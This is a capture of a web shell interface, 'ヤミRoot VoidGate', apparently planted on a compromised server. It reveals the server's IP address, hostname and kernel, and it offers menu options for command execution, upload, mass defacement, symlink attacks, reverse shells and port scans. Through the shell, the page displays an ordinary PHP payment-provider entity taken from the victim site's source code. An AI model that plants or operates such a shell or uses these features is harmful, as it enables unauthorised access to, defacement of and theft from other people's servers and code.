ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: PaymentProvider.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentProviderRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentProviderRepository::class) */ class PaymentProvider { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $providerName; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $providerLogo; /** * @ORM\Column(type="boolean") */ private $enable; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="paymentProviders") */ private $country; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $website; /** * @ORM\OneToMany(targetEntity=PaymentOption::class, mappedBy="provider") */ private $paymentOptions; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $skuCode; public function __construct() { $this->paymentOptions = new ArrayCollection(); $this->createdAt= new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getProviderName(): ?string { return $this->providerName; } public function setProviderName(string $providerName): self { $this->providerName = $providerName; return $this; } public function getProviderLogo(): ?MediaObject { return $this->providerLogo; } public function setProviderLogo(?MediaObject $providerLogo): self { $this->providerLogo = $providerLogo; return $this; } public function isEnable(): ?bool { return $this->enable; } public function setEnable(bool $enable): self { $this->enable = $enable; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(?\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getWebsite(): ?string { return $this->website; } public function setWebsite(?string $website): self { $this->website = $website; return $this; } /** * @return Collection<int, PaymentOption> */ public function getPaymentOptions(): Collection { return $this->paymentOptions; } public function addPaymentOption(PaymentOption $paymentOption): self { if (!$this->paymentOptions->contains($paymentOption)) { $this->paymentOptions[] = $paymentOption; $paymentOption->setProvider($this); } return $this; } public function removePaymentOption(PaymentOption $paymentOption): self { if ($this->paymentOptions->removeElement($paymentOption)) { // set the owning side to null (unless already changed) if ($paymentOption->getProvider() === $this) { $paymentOption->setProvider(null); } } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->getProviderName()."(".$this->getCountry()->getCountryName().")"; } public function getSkuCode(): ?string { return $this->skuCode; } public function setSkuCode(?string $skuCode): self { $this->skuCode = $skuCode; return $this; } }
Coded With 💗 by
0x6ick